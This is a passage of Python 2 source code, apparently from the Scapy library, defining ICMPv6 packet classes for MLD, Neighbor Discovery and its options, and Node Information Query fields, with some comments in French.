"ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", #143: Do Me - RFC 3810 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", #148: Do Me - SEND related - RFC 3971 #149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", } icmp6types = { 1 : "Destination unreachable", 2 : "Packet too big", 3 : "Time exceeded", 4 : "Parameter problem", 100 : "Private Experimentation", 101 : "Private Experimentation", 128 : "Echo Request", 129 : "Echo Reply", 130 : "MLD Query", 131 : "MLD Report", 132 : "MLD Done", 133 : "Router Solicitation", 134 : "Router Advertisement", 135 : "Neighbor Solicitation", 136 : "Neighbor Advertisement", 137 : "Redirect Message", 138 : "Router Renumbering", 139 : "ICMP Node Information Query", 140 : "ICMP Node Information Response", 141 : "Inverse Neighbor Discovery Solicitation Message", 142 : "Inverse Neighbor Discovery Advertisement Message", 143 : "Version 2 Multicast Listener Report", 144 : "Home Agent Address Discovery Request Message", 145 : "Home Agent Address Discovery Reply Message", 146 : "Mobile Prefix Solicitation", 147 : "Mobile Prefix Advertisement", 148 : "Certification Path Solicitation", 149 : "Certification Path Advertisement", 151 : "Multicast Router Advertisement", 152 : "Multicast Router Solicitation", 153 : "Multicast Router Termination", 200 : "Private Experimentation", 201 : "Private Experimentation" } class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum == None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2]+struct.pack("!H", chksum)+p[4:] return p def hashret(self): return self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self,p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteField("code",0), XShortField("cksum", None), StrField("msgbody", "")] ################################## RFC 2460 ################################# class ICMPv6DestUnreach(_ICMPv6Error): name = "ICMPv6 Destination Unreachable" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteEnumField("code",0, { 0: "No route to destination", 1: "Communication with destination administratively prohibited", 2: "Beyond scope of source address", 3: "Address unreachable", 4: "Port unreachable" }), XShortField("cksum", None), XIntField("unused",0x00000000)] class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ ByteEnumField("type",2, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("mtu",1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ ByteEnumField("type",3, icmp6types), ByteField("code",{ 0: "hop limit exceeded in transit", 1: "fragment reassembly time exceeded"}), XShortField("cksum", None), XIntField("unused",0x00000000)] # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ ByteEnumField("type",4, icmp6types), ByteEnumField("code",0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered"}), XShortField("cksum", None), IntField("ptr",6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id",0), XShortField("seq",0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH",self.id,self.seq)+self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) ############ ICMPv6 Multicast Listener Discovery (RFC3810) ################## # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr",None)] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 mladdr = "::" # 10s for mrd overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1 }} def hashret(self): if self.mladdr != "::": return struct.pack("HH",self.mladdr)+self.payload.hashret() else: return self.payload.hashret() # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1}} # implementer le hashret et le answers # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1}} ########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ############### # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] ################### ICMPv6 Neighbor Discovery (RFC 2461) #################### icmp6ndopts = { 1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recusive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", #11: Do Me, #12: Do Me, #13: Do Me, #14: Do Me, #15: Do Me, #16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", #18: Do Me, #19: Do Me, #20: Do Me, #21: Do Me, #22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA" } class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self,p): if len(p) > 1: return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ ByteField("type",None), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: x+2), StrLenField("data","", length_from = lambda pkt: pkt.len-2) ] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ ByteField("type", 1), ByteField("len", 1), MACField("lladdr", ETHER_ANY) ] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ ByteField("type",3), ByteField("len",4), ByteField("prefixlen",None), BitField("L",1,1), BitField("A",1,1), BitField("R",0,1), BitField("res1",0,5), XIntField("validlifetime",0xffffffffL), XIntField("preferredlifetime",0xffffffffL), XIntField("res2",0x00000000), IP6Field("prefix","::") ] def mysummary(self): return self.sprintf("%name% %prefix%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): PacketLenField.__init__(self, name, default, cls, length_from=length_from) self.cur_shift = cur_shift def getfield(self, pkt, s): l = self.length_from(pkt) i = self.m2i(pkt, s[:l]) return s[l:],i def m2i(self, pkt, m): s = None try: # It can happen we have sth shorter than 40 bytes s = self.cls(m) except: return Raw(m) return s def i2m(self, pkt, x): s = str(x) l = len(s) r = (l + self.cur_shift) % 8 l = l - r return s[:l] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) # Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ ByteField("type",4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust = lambda pkt,x:(x+8)/8), StrFixedLenField("res", "\x00"*6, 6), TruncPktLenField("pkt", "", IPv6, 8, length_from = lambda pkt: 8*pkt.len-8) ] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ ByteField("type",5), ByteField("len",1), XShortField("res",0), IntField("mtu",1280)] class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0) ] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ ByteField("type",7), ByteField("len",1), ShortField("res", 0), IntField("advint", 0) ] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ ByteField("type",8), ByteField("len",1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ ByteField("type",17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address" }), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::") ] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" fields_desc = [ ByteField("type",18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::") ] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", 6: "No preifx info available for AP identified by the LLA", 7: "No fast handovers support for AP identified by the LLA" } class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" fields_desc = [ ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY) ] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::") ] class IP6PrefixField(IP6Field): def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8*(pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): l = self.length_from(pkt) p = s[:l] if l < 16: p += '\x00'*(16-l) return s[l:], self.m2i(pkt,p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): l = pkt.len if x is None: x = "::" if l is None: l = 1 x = inet_pton(socket.AF_INET6, x) if l is None: return x if l in [0, 1]: return "" if l in [2, 3]: return x[:8*(l-1)] return x + '\x00'*8*(l-3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ ByteField("type",24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust = lambda pkt,x: x/8 + 1), ByteField("plen", None), BitField("res1",0,3), BitField("prf",0,2), BitField("res2",0,3), IntField("rtlifetime", 0xffffffff), IP6PrefixField("prefix", None) ] class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust = lambda pkt,x: 2*x+1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48) ] # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ ByteEnumField("type", 133, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ ByteEnumField("type", 134, icmp6types), ByteField("code",0), XShortField("cksum", None), ByteField("chlim",0), BitField("M",0,1), BitField("O",0,1), BitField("H",0,1), BitEnumField("prf",1,2, { 0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low" } ), # RFC 4191 BitField("P",0,1), BitField("res",0,2), ShortField("routerlifetime",1800), IntField("reachabletime",0), IntField("retranstimer",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def answers(self, other): return isinstance(other, ICMPv6ND_RS) class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ ByteEnumField("type",135, icmp6types), ByteField("code",0), XShortField("cksum", None), BitField("R",0,1), BitField("S",0,1), BitField("O",0,1), XBitField("res",0,29), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.tgt+self.payload.hashret() class ICMPv6ND_NA(ICMPv6ND_NS): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" type = 136 R = 1 O = 1 def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ ByteEnumField("type",137, icmp6types), ByteField("code",0), XShortField("cksum", None), XIntField("res",0), IP6Field("tgt","::"), IP6Field("dst","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ############### class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" fields_desc = [ ByteField("type",9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust = lambda pkt,x: 2*x+1), StrFixedLenField("res", "\x00"*6, 6), IP6ListField("addrlist", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ ByteEnumField("type",141, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ ByteEnumField("type",142, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = { 0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address" } class _ICMPv6NIHashret: def hashret(self): return self.nonce class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() # Compute the NI group Address. Can take a FQDN as input parameter def computeNIGroupAddr(name): import md5 name = name.lower().split(".")[0] record = chr(len(name))+name h = md5.new(record) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specifc # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overriden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overriden # - Name in the other cases: code is set to 0, if not overriden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if type(x) is str: if x and x[-1] == '\x00': # stupid heuristic return x x = [x] res = [] for n in x: termin = "\x00" if n.count('.') == 0: # single-component gets one more termin += '\x00' n = "".join(map(lambda y: chr(len(y))+y, n.split("."))) + termin res.append(n) return "".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = "" while x: l = ord(x[0]) x = x[1:] if l == 0: if cur and cur[-1] == '.': cur = cur[:-1] res.append(cur) cur = "" if x and ord(x[0]) == 0: # single component x = x[1:] continue if l & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") else: cur += x[:l]+"." x = x[l:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t,val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and type(x[0]) is int: return x val = None try: # Try IPv6 inet_pton(socket.AF_INET6, x) val = (0, x) except: try: # Try IPv4 inet_pton(socket.AF_INET, x) val = (2, x) except: # Try DNS if x is None: x = "" x = names2dnsrepr(x) val = (1, x) return val def i2repr(self, pkt, x): t,val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] weird = None while val: l = ord(val[0]) val = val[1:] if l == 0: if (len(res) > 1 and val): # fqdn with data behind weird = val elif len(val) > 1: # single label with data behind weird = val[1:] break res.append(val[:l]+".") val = val[l:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return "", (1, s) def addfield(self, pkt, s, val): if ((type(val) is tuple and val[1] is None) or val is None): val = (1, "") t = val[0] if t == 1: return s + val[1] elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} #_niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None) ] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = { 0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type" } _nireply_flags = { 1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses" } # Internal repr is one of those : # (0, "some string") : unknow qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t,val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if type(x) is not tuple: if pkt is not None: qtype = getattr(pkt, "qtype") else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if type(x) is str: # listify the string x = [x] if type(x) is list and x and type(x[0]) is not int: # ttl was omitted : use 0 x = [0] + x ttl = x[0] names = x[1:] return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if type(x) is str: x = [x] # User directly provided an IP, instead of list # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead def addttl(x): if type(x) is str: return (0, x) return x return (qtype, map(addttl, x)) return (qtype, x) def addfield(self, pkt, s, val): t,tmp = val if tmp is None: tmp = "" if t == 2: ttl,dnsstr = tmp return s+ struct.pack("!I", ttl) + dnsstr elif t == 3: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET6, y), tmp)) elif t == 4: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET, y), tmp)) else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, "") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") elif qtype == 2: if len(s) < 4: return s, (0, "") ttl = struct.unpack("!I", s[:4])[0] return "", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return "", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if type(x) is tuple and len(x) == 2: t, val = x if t == 2: # DNS names ttl,l = val l = dnsrepr2names(l) return "ttl:%d %s" % (ttl, ", ".join(l)) elif t == 3 or t == 4: return "[ %s ]" % (", ".join(map(lambda (x,y): "(%d, %s)" % (x, y), val))) return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class 